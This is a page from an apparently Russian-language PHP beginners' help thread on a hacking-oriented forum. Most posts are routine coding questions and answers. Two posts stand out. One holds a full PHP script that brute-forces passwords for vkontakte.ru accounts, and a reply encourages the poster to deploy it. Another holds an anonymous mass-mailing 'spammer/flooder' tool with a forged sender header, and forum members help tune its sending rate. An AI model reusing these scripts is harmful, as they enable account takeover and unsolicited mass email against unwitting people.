PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [18] 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

superboys
22.07.2008, 11:27
Спасибо огромное + репку тебе, просто я пока ламер в пхп

MafiaBoy3
22.07.2008, 20:27
Я Новичок с большой буквы и у меня следующая проблема.

Какой код мне нужно написать чтобы получить страницу вида index.php?id=123456?

Я то написал но уменя куча ошибок. Помогите

.:EnoT:.
22.07.2008, 20:32
Я Новичок с большой буквы и у меня следующая проблема.

Какой код мне нужно написать чтобы получить страницу вида index.php?id=123456?

Я то написал но уменя куча ошибок. Помогите

$id = !empty($_GET['id']) && is_numeric($_GET['id']) ? intval($_GET['id']) : '';

if($id == 123456){
echo 'Это страница index.php?id=123456';
}
Это с учётом что данные id цифровые.
Или проще:
if(!empty($_GET['id']) && $_GET['id'] == 123456){
echo 'Это страница index.php?id=123456';
}

MafiaBoy3
22.07.2008, 20:39
Забыл сказать у меня работа с Mysql.

Есть скрипт register.php, в котором вставляются в базу новые данные а после этого $id=mysql_insert_id(); То есть получаем только что созданный id. А далее вот что
header ('Location: index.php?id=$id');

Скрипт выполняется и меня перебрасывает на index.php получаю ошибку тут же mysql_fetch_array.... Наверно потому что в url localhost/index.php?id=$id.

Чё за фигня помогите

Kaimi
22.07.2008, 20:42
Кавычки двойные используй, а не одинарные в header(....

MafiaBoy3
22.07.2008, 20:46
Спасибо, теперь всё нормально но почему " использовать за место '

Kaimi
22.07.2008, 20:47
Потому что внутри одинарных кавычек пхп не воспринимает переменные

MafiaBoy3
22.07.2008, 20:51
А как сделать чтобы в mysql присвоение индентификатора начиналось не с нуля а с единицы. У меня щас 0

GreenBear
22.07.2008, 20:53
$r = mysq_fetch_array($result, MYSQL_ASSOC);
//$r = mysql_fetch_assoc($result);
print_r($r);
увидишь, что так - гораздо удобнее.

.:EnoT:.
22.07.2008, 21:36
Мля, теперь я допереть не могу =\
В mysql есть некое поле, которое содержит цифры как положительные так и отрицательные. Как посчитать сумму этих чисел?

GreenBear
22.07.2008, 21:40
select SUM(amount) as amount from table

.:EnoT:.
22.07.2008, 22:36
Спасибо) не додумался

Nightmarе
23.07.2008, 02:37
У меня ещё вопрос по php.
Можно ли как нить сделать в скрипте, чтобы при обращении к нему он выдавал бы файл на скачивание.
Но, этот файл лежит удалённо на другом хосте. Мне надо сделать так, чтобы скрипт выдавал на скачку файл на удалённом хосте, и главное чтобы была докачка.
Вот у меня например реализованно:
http://crazytelephone.com/nightmare/get.php?id=25
Где 25 это номер файла который лежит локально. Мне нужно сделать тоже самое тока с удалёнными файлами. Главное сохранить докачку.
Вроде бы можно реализовать с помощью file_get_contents, тока я хз как... Кто знает напишите как.

GreenBear
23.07.2008, 02:52
перехватывать заголовки контент рейндж.. и уже брать файл с удаленого сервера с ними...
тут чисто описание протокола http тебе надо

XopoIII
23.07.2008, 08:22
проблемка....ниразу не грбил страницы...каким образом их грабят? мне нужно со странички вырывать определенную инфу если она есть, ну и потом уже забиват себе в базу и выводить, спасиб

Shadow_p1raT
23.07.2008, 09:40
На пыхе(php) есть пару функций.
preg_match();
preg_match_all();
Документация:
preg_match(); (http://php.ru/manual/function.preg-match.html)
preg_match_all(); (http://php.ru/manual/function.preg-match-all.html)
Неплохая статья по регуляркам.
http://pyha.ru/forum/topic/19.0

Nightmarе
23.07.2008, 21:46
У меня ещё вопрос по php.
Можно ли как нить сделать в скрипте, чтобы при обращении к нему он выдавал бы файл на скачивание.
Но, этот файл лежит удалённо на другом хосте. Мне надо сделать так, чтобы скрипт выдавал на скачку файл на удалённом хосте, и главное чтобы была докачка.
Вот у меня например реализованно:
http://crazytelephone.com/nightmare/get.php?id=25
Где 25 это номер файла который лежит локально. Мне нужно сделать тоже самое тока с удалёнными файлами. Главное сохранить докачку.
Вроде бы можно реализовать с помощью file_get_contents, тока я хз как... Кто знает напишите как.
Всё таки просьба кто знает привести пример.

5triker
23.07.2008, 21:51
как вариант прочитать файл с помощью file_get_contents() , записать к себе и выдавать потом ссылку уже на локальный файл

Nightmarе
23.07.2008, 22:00
как вариант прочитать файл с помощью file_get_contents() , записать к себе и выдавать потом ссылку уже на локальный файл
Этот вариант явно не катит.

BlackSun
23.07.2008, 23:57
1. С заголовка получаешь текушую позицию (хз какие поля, щяс времени нет проверят, чишу логи)
2. Соеденяешься с серваком через fopen()
3. Начинаешь читать в цыкле, начиная с той позиции, где остановилось через fread()

Nightmarе
24.07.2008, 00:10
Ага спс, теперь бы знать как всё это реализовать =)))

lisa99
24.07.2008, 00:33
пример здесь (не мой =) )
http://protoplex.ru/scripts/22.zip
жаль, они бросили свою cms ((
статья кратенькая о парсинге
http://mikhail.voronkov.biz/articles/distributed_httpgrubber.html
и вот еще..
во мнигих cms выпустили модули парсинга чужих новостей..для wordpress, slaed,joomla, dle
где-то открыт код, где-то нет- смотрите как примеры

superboys
24.07.2008, 01:46
Кто подскажет правильный синтаксис функции escapeshellcmd( ) или может есть новей против выполнения команд подрывающих безопасность?

Тик-так
24.07.2008, 01:49
http://php.su/functions/?escapeshellcmd

DIOL
24.07.2008, 10:26
Народ подскажите, вот наткнулся на такой скрипт. Как ним пользоваться?
<?
// Открывает страничку с полем для ввода сообщений
function produceQuery($url, $post, $username = false, $passowrd = false) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cv.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE,"cv.txt");
curl_setopt($ch, CURLOPT_POST, 1); // set POST method
// Здесь как раз перечисляются передаваемые параметры
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

$html = curl_exec($ch);

curl_close($ch);

// Вернуть результат
return $html;
}

function checkPass($username, $password) {
$post = "email=$username&pass=$password&submit=$submit&fail_url=$fail_url&success_url=$success_url&try_to_login=1";
$answer = produceQuery("http://vkontakte.ru/login.php", $post);

$answer = iconv("UTF-8", "Windows-1251", $answer);

if(preg_match("/Моя Страница/", $answer, $out)) {
echo true;
} else {
return false;
}
}

if(isset($_REQUEST['submit'])) {
// Открываем файл, в который будем записывать обработанные пароли
$file = fopen("pass.txt", "w");
// Алфавит взлома
$skey = " 1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDF GHJKLZXCVBNM";
$length = strlen($skey);
$length--;

// Логин пользователя: предположительно известен
$username = $_REQUEST['login'];
//$username = "";

// Предполагаемый Пароль
$password = "";

// Подбираем пароль: максимум из 10 знаков
for ($i1 = 1; $i1 <= $length; $i1++) {
for ($i2 = 1; $i2 <= $length; $i2++) {
for ($i3 = 1; $i3 <= $length; $i3++) {
for ($i4 = 1; $i4 <= $length; $i4++) {
for ($i5 = 1; $i5 <= $length; $i5++) {
for ($i6 = 1; $i6 <= $length; $i6++) {
$password = $skey[$i6] . $skey[$i5] . $skey[$i4] . $skey[$i3] . $skey[$i2] . $skey[$i1];
$password = trim($password);

if(checkPass($username, $password)) {
// пароль найтиен!
fwrite($file, $password . " PASSWORD CRACKED!!!" . "\n");
fclose($file);
exit;
} else {
// Пароль не подошел, просто записать его в файл
fwrite($file, $password . "\n");
}

}

}

}

}

}

}

}
?>

<h2>Взлом пароля в vkontakte.ru</h2>

<form action="" method="POST">
Логин пользователя <input type="text" name="login" style="width: 200px;">
<input type="submit" name="submit" value="Отодрать">
</form>

mff
24.07.2008, 10:33
Заливай на подходящий хостинг и вперед, в чем проблемма то?

.Begemot.
24.07.2008, 13:40
Как по средствам php сохранить страницу на сервер?
Вот эту к примеру - http://old.antichat.ru/txt/old/mail.shtml
Без картинок, без всего, только сам код.

inlanger
24.07.2008, 13:44
$page = file_get_contents('ссылка'); //забираем страницу с удалённого сервера
$f = fopen('page.txt', "a+");
fwrite($f, $page); // записываем её в файл
fclose($f);

после запуска скрипта смотри код своей страницы в файле page.txt

DIAgen
24.07.2008, 13:56
$page = file_get_contents('ссылка'); //забираем страницу с удалённого сервера
$f = fopen('page.txt', "a+");
fwrite($f, $page); // записываем её в файл
fclose($f);

после запуска скрипта смотри код своей страницы в файле page.txt
А не проще так

file_put_contents('page.txt',file_get_contents( $url ));
;)

crackmail
24.07.2008, 14:13
один вопрос , в данном скрипте есть функция наспамить/нафлудить , когда начинаеш спамить по списку мыл , скрипт просто максимально быстро жмет кнопку отправить
, поэтому часть адресатам нужный текст не доходит , можно ли сделать чтоб скрипт за 2 секунды жал отправить 1 раз?
<?
/*
(C) NOmeR1
*/
?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<?
//
error_reporting (0);
if(!set_time_limit(0)) {
$limit = false;
} else {
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}



ini_set('max_execution_time', '0');

?>
set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else
echo('<font color=Red>Off</font> (Время работы ограничено текущими настройками сервера)');?><br>
<?

$ip = getenv('REMOTE_ADDR');
if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
{

$_POST['to'] = stripslashes($_POST['to']);
$_POST['msg'] = stripslashes($_POST['msg']);
$_POST['from'] = stripslashes($_POST['from']);
$_POST['subject'] = stripslashes($_POST['subject']);

if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
{
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
$headers .= "From: ".$_POST['from']."\n";
if($_GET['mail'] == '1')
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
}
elseif($_GET['mail'] == '2')
{
$_POST['to'] = explode("\n",$_POST['to']);
foreach($_POST['to'] as $poluchatels)
{
mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
}
}
elseif($_GET['mail'] == '3')
{
if(preg_match('/[0-9]+/',$_POST['kol']))
{
for($i=0;$i<$_POST['kol'];$i++)
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
sleep(1);
}
}
else
{
echo('Неверно введено (или не введено) кол-во сообщений');
}
}
$f = fopen($log,'a');
fwrite($f,'Отправелено сообщение &'.$_POST['msg'].'& с темой "'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
fclose($f);
echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');
}
else
{
?>
<form style="width:350px" method='post'>
<?
if($_GET['mail'] == '1' || $_GET['mail'] == '3')
{
echo("Получатель &nbsp;<input type='text'name='to'><br>");
}
?>
Отправитель <input type='text' name='from'><br>
Тема сообщ. &nbsp;<input type='text' name='subject'><br>
<?
if($_GET['mail'] == '3')
{
echo("Кол-во сообщений <input type='text' name='kol'><br>");
}
?>
<br>
htm -&gt; <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'>&lt;- text<br>
<?
if($_GET['mail'] == '2')
{
echo("Получатели<br><textarea name='to' rows='10' cols='30'>admin@admin.ru
admin@mail.ru
tiger@ya.ru</textarea>");
}
?>
<br>Сообщение<br>
<textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
</form>
<?
}
} else {
?><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Отправить простое сообщение</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Наспамить</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Налудить</a><br>
<?
}
?>
<B STYLE="DISPLAY: NONE;">

5triker
24.07.2008, 14:20
все мыла все равно не дойдут , а если еще на крупные почтовики то тем более

crackmail
24.07.2008, 14:21
поверь письма доходят :) проверял

DIOL
24.07.2008, 14:23
народ, у мну есть готовый PhP скрипт в блокноте, как ним пользоваться?

Naydav
24.07.2008, 14:28
5triker
все мыла все равно не дойдут , а если еще на крупные почтовики то тем более
Крупные почтовики, имеют свойство помещать такие письма в папку - СПАМ, проверь ее

DIOL
народ, у мну есть готовый PhP скрипт в блокноте, как ним пользоваться?
Компилируй :)
А если честно, то прочитай (поставь) се Денвер

crackmail
24.07.2008, 14:29
письма доходят нормально , просто нужно чтоб скрипт отправлял одно письмо на одно мыло за 2 секунды 1 раз

.Begemot.
24.07.2008, 15:14
народ, у мну есть готовый PhP скрипт в блокноте, как ним пользоваться?
Делай ему расширение php и заливай на фрихостинг с поддержкой php, либо устанавливай денвер (http://www.denwer.ru/) .

inlanger
24.07.2008, 15:30
crackmail, sleep('3000'); добавь в нужном месте, где хочешь задержку.

5triker
24.07.2008, 15:36
чет помойму 50мин много для задержки )

inlanger
24.07.2008, 15:47
Это я уже в языках запутался :) В пыхе секунды указывать надо.

DIOL
24.07.2008, 17:39
Дай ссылку на се Денвер, или напиши как он пишится в оригенале. И нет ли у тебя почитать чегонибудь про компиляцию Php?

Naydav
24.07.2008, 17:50
Дай ссылку на се Денвер, или напиши как он пишится в оригенале.
_http://www.denwer.ru/
Там и почитаешь :), особенно про компиляцию
Там немного не на виду, так, что читай внимательно

пс
Тебе уже вроде давали

inlanger
24.07.2008, 17:51
php компилировать не надо. его надо запускать на серваке. а дэнвер - это сервак со всеми нужными настройками.

Naydav
24.07.2008, 17:53
inlanger
php компилировать не надо
палишь кантору

DIOL
А че там за скрипт такой?
Наверно для взлома всех паролей :)

blood-looney
24.07.2008, 21:04
разбираюсь с ботом для игрухи, что имею:
авторизацию на пхп понял
$out = "GET /login.php?login=123456&pass=123456 HTTP/1.0\r\n";
$out .= "Host: 123456.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);
а вот как принять кукис?
кукис в браузере содержат только сессию PHPSESSID

Whirt
24.07.2008, 21:13
Принимаемый буфер нужно проверить, например, регулярным выражением (в пхп - например, preg_match, примеры регулярок и проверку правильности регуляр можно посмотреть на http://pcre.ru )

UPD:
Можешь воспользоваться, например, таким кодом:

preg_match_all("/Set-Cookie\: (\S*)=(\S*)(|;)/", $res, $cookie);
for ( $i=0; $i<count($cookie[0]); $i++ )
{
$cookie[0][$i] = str_replace("Set-Cookie: ", "", $cookie[0][$i]);

if ( !strpos($cookies, $cookie[0][$i]) )
{
$cookies .= $cookie[0][$i].' ';
}
}

Nightmarе
24.07.2008, 21:30
пример здесь (не мой =) )
http://protoplex.ru/scripts/22.zip
жаль, они бросили свою cms ((
статья кратенькая о парсинге
http://mikhail.voronkov.biz/articles/distributed_httpgrubber.html
и вот еще..
во мнигих cms выпустили модули парсинга чужих новостей..для wordpress, slaed,joomla, dle
где-то открыт код, где-то нет- смотрите как примеры
Попробовал. Скрипт не пашет... смотрел код, так впринципе и не понял чё он делает...

Кто поможет написать скрипт который выдаёт на скачку файлы с других ресурсов (+докачка и невозможность определить истинное место файла), тому сразу +30!!!!!!!!!

Whirt
24.07.2008, 21:53
Nightmare, есть идея касательно докачки.
Моя логика:
Т.к. при открытии сокета мы имеем файловый дескриптор, а чтение/запись из сокета ничем не отличается, от записи/чтения из файла, то мы можем установить смещение, с помощью функции fseek
Почитать о ней подробнее можно здесь (http://php.ru/manual/function.fseek.html).
Ну, думаю понял :)
Если есть вопросы, пиши сюда/в личку. Можешь кинуть код в ПМ, который у тебя сейчас имеется, будет время, посмотрю, что там можно сделать :)

UPD: сорри, я тут проглядел немножко)
Не может использоваться на файловых указателях, возвращённых функцией fopen(), если они используют форматы "http://" или "ftp://". fseek() также возвращает неопределённый результат для потоков "дописать в конец" (открытых с флагом "a").

Nightmarе
24.07.2008, 22:07
Nightmare, есть идея касательно докачки.
Моя логика:
Т.к. при открытии сокета мы имеем файловый дескриптор, а чтение/запись из сокета ничем не отличается, от записи/чтения из файла, то мы можем установить смещение, с помощью функции fseek
Почитать о ней подробнее можно здесь (http://php.ru/manual/function.fseek.html).
Ну, думаю понял :)
Если есть вопросы, пиши сюда/в личку. Можешь кинуть код в ПМ, который у тебя сейчас имеется, будет время, посмотрю, что там можно сделать :)

Но я реализовать всё равно не смогу эту идею, так как в php не очень.

Своего кода у меня вообще нету, у меня есть только который даёт на скачку локальные файлы, я так понимаю это вообще не то.
Но там и скрытность файла проработанна, и главное докачка...

Whirt
24.07.2008, 22:25
Думается мне , это надо реализовывать тогда с помощью расширения сокетов для php. Там, думаю, возможно проставить смещение от начала, и , соответственно, организовать докачку.

Nightmarе
24.07.2008, 22:33
Думается мне , это надо реализовывать тогда с помощью расширения сокетов для php. Там, думаю, возможно проставить смещение от начала, и , соответственно, организовать докачку.
Сокеты у меня и так есть, и всё остальное, а расширения, имеется ввиду доп. модули?

Ну привидите пример скрипта работающего хотя бы без докачки...

Смысл в чём, хочу добавить к се на сайт shinobi.org.ru ну сотню пранков, используя под это дело мой новый сайт на юкозе shinobi.net.ru

То есть скрипт get.php как работает так и должен работать, тока ещё и хватать при случае файлы с ресурса "net", ну если без докачки, то его в винампе то можно будет проигрывать?
И главное чтобы никакого кеша на мой сайт не было, у меня там всего 650 килобайт для гостевухи осталось.

СССР
25.07.2008, 01:59
еше раз доброе время суток=) помогите а??-)<?php
### change this

$send_to_email = "jkh@kdjfblalalal";
$send_from_email = "forma2istics.com";
$email_subject = "New website registration";
$success_page = "success.html";
$failure_page = "failure.html";
##########

function send_mail($from, $to, $subject, $message)
{
return mail($to, $subject, $message,
"From: {$from}rn" .
"Reply-To: {$from}rn" .
"X-Mailer: PHP/" . phpversion());
}

if ($_POST['action'] == "contact")
{
$Your_full_name = $_POST['Your_full_name'];
$Contact_phone = $_POST['Contact_phone'];
$Name_of_your_company = $_POST['Name_of_your_company'];
$Email = $_POST['Email'];
$Shipment_station = $_POST['Shipment_station'];
$Destination_station = $_POST['Destination_station'];
$Description_of_cargo_TNVED_code = $_POST['Description_of_cargo_TNVED_code'];
$Shipment_mode = $_POST['Shipment_mode'];
$Rail_car_type = $_POST['Rail_car_type'];
$Car_loading = $_POST['Car_loading'];
$Affiliation_of_car_or_container = $_POST['Affiliation_of_car_or_container'];
$Volume_of_shipment = $_POST['Volume_of_shipment'];
$Kind_of_packing = $_POST['Kind_of_packing'];
$Container_type_size_of_pallet_or_case = $_POST['Container_type_size_of_pallet_or_case'];
$Weight_of_1_piece = $_POST['Weight_of_1_piece'];
$Your_additional_information = $_POST['Your_additional_information'];



$message = "Contact details:\nYour_full_name: $Your_full_name\nContact_phone: $Contact_phone\nName_of_your_company: $Name_of_your_company\nEmail: $Email\nShipment_station: $Shipment_station\nDestination_station: $Destination_station\nDescription_of_cargo_TNVED_c ode: $Description_of_cargo_TNVED_code\nShipment_mode: $Shipment_mode\nRail_car_type: $Rail_car_type\nCar_loading: $Car_loading\nAffiliation_of_car_or_container: $Affiliation_of_car_or_container\nVolume_of_shipme nt: $Volume_of_shipment\nKind_of_packing : $Kind_of_packing \nContainer_type_size_of_pallet_or_case: $Container_type_size_of_pallet_or_case\nWeight_of_ 1_piece: $Weight_of_1_piece\nYour_additional_information: $Your_additional_information\nn";
$result = send_mail($send_from_email, $send_to_email, $mail_subject, $message);
if ($result)
{
header('Location: '.$success_page);
}
else
{
header('Location: '.$failure_page);
}
}
?>


наешл капчу , а то спам приходит тонами <?
session_start();
session_register("secret_number");

if (intval($_SESSION["secret_number"])<1000) {
srand(doubleval(microtime()));
$_SESSION["secret_number"]=rand(1000,9999);
}

if ($_SERVER["REQUEST_METHOD"]=="POST") {

$error=0;
if ($_POST["secretcode"]!=$_SESSION["secret_number"] || intval($_POST["secretcode"])==0) $error=1;

if ($error==0) {
$_SESSION["secret_number"]=rand(1000,9999);

// Выполняем необходимые действия с данными
// ..
print "Hello ".htmlspecialchars(StripSlashes($_POST["email"]));
exit;
}

if ($error==1) print "<font color=red>Число с картинки введено неверно</font>";
}

// Выводим форму повторно
// ...
?>
<form action="index.php" method="post">
Ваш E-Mail:<br>
<input type="text" name="email" value=""><br>
<br>
Введите код, который вы видете на картинке:<br>
<input type="text" name="secretcode" value=""><br>
<img src='code.php?<?=doubleval(microtime());?>' width=101 height=26 vspace=5>
<br><br>
<input type="submit">
</form>
?
// Регистрируем переменную
session_start();
session_register("secret_number");

function mt() {
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

header("Content-type: image/png");

// создаем изображение
$im=imagecreate(101, 26);

// Выделяем цвет фона (белый)
$w=imagecolorallocate($im, 255, 255, 255);

// Выделяем цвет для фона (светло-серый)
$g1=imagecolorallocate($im, 192, 192, 192);

// Выделяем цвет для более темных помех (темно-серый)
$g2=imagecolorallocate($im, 64,64,64);

// Выделяем четыре случайных темных цвета для символов
$cl1=imagecolorallocate($im,rand(0,128),rand(0,128 ),rand(0,128));
$cl2=imagecolorallocate($im,rand(0,128),rand(0,128 ),rand(0,128));
$cl3=imagecolorallocate($im,rand(0,128),rand(0,128 ),rand(0,128));
$cl4=imagecolorallocate($im,rand(0,128),rand(0,128 ),rand(0,128));

// Рисуем сетку
for ($i=0;$i<=100;$i+=5) imageline($im,$i,0,$i,25,$g1);
for ($i=0;$i<=25;$i+=5) imageline($im,0,$i,100,$i,$g1);

// Выводим каждую цифру по отдельности, немного смещая случайным образом
imagestring($im, 5, 0+rand(0,10), 5+rand(-5,5), substr($_SESSION["secret_number"],0,1), $cl1);
imagestring($im, 5, 25+rand(-10,10), 5+rand(-5,5), substr($_SESSION["secret_number"],1,1), $cl2);
imagestring($im, 5, 50+rand(-10,10), 5+rand(-5,5), substr($_SESSION["secret_number"],2,1), $cl3);
imagestring($im, 5, 75+rand(-10,10), 5+rand(-5,5), substr($_SESSION["secret_number"],3,1), $cl4);

// Выводим пару случайных линий тесного цвета, прямо поверх символов.
// Для увеличения количества линий можно увеличить,
// изменив число выделенное красным цветом
for ($i=0;$i<8;$i++) imageline($im,rand(0,100),rand(0,25),rand(0,100),r and(0,25),$g2);


// Коэфициент увеличения/уменьшения картинки
$k=1.7;

// Создаем новое изображение, увеличенного размера
$im1=imagecreatetruecolor(101*$k,26*$k);

// Копируем изображение с изменением рамеров в большую сторону
imagecopyresized($im1, $im, 0, 0, 0, 0, 101*$k, 26*$k, 101, 26);

// Создаем новое изображение, нормального размера
$im2=imagecreatetruecolor(101,26);
а вот сама как бы страничка<html>
<head>
<title></title>
<link rel="SHORTCUT ICON" href="">
<meta name="description" content="">
<meta name="keywords" content="">
<meta name="ROBOTS" content="index, follow">
<meta name="REVISIT-AFTER" content="7 days">
<meta name="COPYRIGHT" content="">

<meta name="AUTHOR" content="">

<LINK rel="STYLESHEET" href="styles.css">
</head>

<BODY align="center" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" style="background-color: #ffffff;">
<center>

<table width=968 height=117 border="0" cellspacing="0" cellpadding="0">
<tr>

<td width=242 valign=top class="t1">
</td>
<td width=484 valign=top class="t2">
<table width=400 height=92 border="0" cellspacing="0" cellpadding="0">
<tr>
<td width=400 align=right valign=top >
<a href=""><img src="img/home.gif" border=0></a><img src="img/p1.gif" border=0><a href=""><img src="img/mail.gif" border=0></a>
</td>
</tr>
</table>
<a style="color: #06018f; font-size: 13px; font-family: Arial;"><b>FORWARDING, <b></a>
<a style="color: #336691; font-size: 13px; font-family: Arial;"><b>CHARTERING, <b></a>
<a style="color: #3b60c8; font-size: 13px; font-family: Arial;"><b>CUSTOMS SERVICES<b></a>
</td>

<td width=242 valign=top class="t4">
</td>
</tr>
</table>

<table width=968 height=117 border="0" cellspacing="0" cellpadding="0">
<tr>

<td width=242 valign=top class="t5">
</td>
<td width=484 valign=top align=left class="t6">
<a style="padding-left:80px; color: #000000; font-size: 25px; font-family: Arial;"><b>tel:+380 4841 48446 </a> </td>
<td width=242 valign=top class="t8" >
</td>

</tr>
</table>

<table width=970 height=9 border="0" cellspacing="0" cellpadding="0" >
<tr>
<td width=970 height=9 valign=top style="background-image: url('img/per.gif');">
</td>

</tr>
</table>
</head>
<body>
<h3> <strong>Форма заявки для расчета провозных платежей и стоимости экспедирования на ж/дорожном транспорте </strong> </h1>
<form method="post" action="send_details.php">
<input type="hidden" name="action" value="contact" />
<table width="98%">
<tr>
<td width="62%" height="37">Ваши полные ФИО:</td>
<td width="38%"><input type="text" size="100" name="Your_full_name" value="" /></td>
</tr>
<tr>
<td height="37">Контактный телефон, с кодом города:</td>
<td><input type="text" size="100" name="Contact_phone" value="" /></td></tr>
<tr>
<td height="46">Название Вашей организации:</td>
<td><input type="text" size="100" name="Name_of_your_company" value="" /></td></tr>
<tr>
<td height="48">E-mail:</td>
<td><input type="text"size="100" name="Email" value="" /></td></tr>
<tr>
<td height="60"> Станция отправления:</td>
<td><input type="text" size="100" name="Shipment_station" value="" /></td></tr>
<tr>
<td height="40"> Станция назначения:</td>
<td><input type="text"size="100" name="Destination_station" value="" /></td></tr>
<tr>
<td height="44">Наименование груза, коды ЕТСНГ и ГНГ:</td>
<td><input type="text" size="100" name="Description_of_cargo_TNVED_code" value="" /></td></tr>
<tr>

<tr>
<td height="34"> Род вагона:</td>
<td><input type="text"size="100" name="Rail_car_type" value="" /></td></tr>
<tr>
<td height="35"> Загрузка вагона:</td>
<td><input type="text"size="100" name="Car_loading" value="" /></td></tr>
<tr>
<td height="43"> Принадлежность вагона или контейнера (парк МПС, собственный, арендованный):</td>
<td><input type="text"size="100" name="Affiliation_of_car_or_container" value="" /></td></tr>
<tr>
<td height="47"> Объём отправляемой партии (тн или м3 или кол-во мест):</td>
<td><input type="text"size="100" name="Volume_of_shipment"value="" /></td></tr>
<tr>
<td height="50"> Вид упаковки (навалом, паллеты, тюки, биг-бэги, ящики, контейнеры):</td>
<td><input type="text"size="100" name="Kind_of_packing" value="" /></td></tr>
<tr>
<td height="57"> Вид контейнера, размеры паллета или ящика, объём тюка или биг-бэга:</td>
<td><input type="text"size="100" name="Container_type_size_of_pallet_or_case" value="" /></td></tr>
<tr>
<td height="44"> Вес одного места:</td>
<td><input type="text"size="100" name="Weight_of_1_piece" value="" /></td></tr>
<tr>
<td height="63"><p>Ваша дополнительная информация:
(для специальных и негаборитных грузов предоставить чертижы,эскизы с указанием габаритных размеров,либо указать степень негабаритности груза, предлогаемые сроки отправки груза, а также объём грузовой партии и т.д):</p>
<p>&nbsp;</p>
<p>: </p></td>
<td><textarea rows="6" name="Your_additional_information" cols="97"></textarea></td>
</tr>
<tr>
<center><td height="109" colspan="2"><input name="submit" type="submit" value="Send" /></td>
</tr>
</table>
</form>
<tr>

<table width=970 height=76 border="0" cellspacing="0" cellpadding="0" >
<tr>
<td width=970 height=76 valign=top style="background-image: url('img/bot.gif');">

<table width=970 height=76 border="0" cellspacing="0" cellpadding="0" >
<tr>
<td width=6 height=76 valign=top style="background-image: url('img/p2.gif');"> </td>
<td width=964 height=76 valign=top style="padding-left:5px; padding-top: 5px;"><div align="center">Danompany LTD <br>
P.O.Box # 124, Centre 35,Dzerzinskogo str.l,68600,Ukraine<br>
<a href="mailto:dlet.ua"> E-mai det.ua</a><br>
tel:+380 4841 446 <br>
mob.tel: +380528 <br>
</div></td>
</tr>
</table>

</td>

</tr>
</table>



</BODY>
</html> я не могу понять как это все дела слепить в одно что б на странички была капча и при пральном воде капче отсылалсь на мыло -) не пинайте сильно сам знаю что туплю =)

suffering
25.07.2008, 12:30
Я в этом деле новичок, мягко сказано
Не могу понять кое что.
После этого небольшого вложения в php файлик
На страничке в ряд должно вывестись из БД
Три новости в виде:
- титульного с сылкой на полный просмотр
- датой
- небольшое описание
- автором

<?php

$result = mysql_query ("SELECT id,title,date,description,author FROM lessons",$db);

$myrow = mysql_fetch_array ($result);

do {

printf ("<table align='center' class='lesson'>
<tr>
<td class='lesson_title'><p><a href='view_lesson.php=%s'>%s</a></p><p>%s</p><p>Дата добавления: %s</p>
</td></tr>
<p>Автор: %s</p>
<tr><td>%s</td>
</table></tr><br>", $myrow["id"],$myrow["title"],$myrow["date"],$myrow["author"],$myrow["description"]);

}
while ($myrow = mysql_fetch_array ($result));
?>

Вместо этого на страничке вылетает:

Warning: printf(): Too few arguments in w:\home\localhost\www\phpsite\lessons.php on line 46

Warning: printf(): Too few arguments in w:\home\localhost\www\phpsite\lessons.php on line 46

Warning: printf(): Too few arguments in w:\home\localhost\www\phpsite\lessons.php on line 46

46-ая строчка - это:

</table></tr><br>", $myrow["id"],$myrow["title"],$myrow["date"],$myrow["author"],$myrow["description"]);

Не могу понять, в чем проблема ...
Помогите пожалуйста советом ...
Сенк, за внимание... (

5triker
25.07.2008, 13:02
6 мест вывода в строке и 5 переменных = 1 нехватает , либо убери в строке либо добавь в этот список еще 1 $myrow["id"],$myrow["title"],$myrow["date"],$myrow["author"],$myrow["description"]

suffering
25.07.2008, 13:10
5triker сенк!

DTW
25.07.2008, 15:07
Помогите понять что делаю не так
мне надо разбить на карманы .

$html = ' <table width="100%" border="0">

<tr>
<th rowspan="5" scope="row"><img src=components/com_userstat/3_m.gif width="100" height="100" /></th>
<th scope="row"><div align="right"><strong>Name:</strong></div></th>
<td>Lotto</td>
</tr>
<tr>
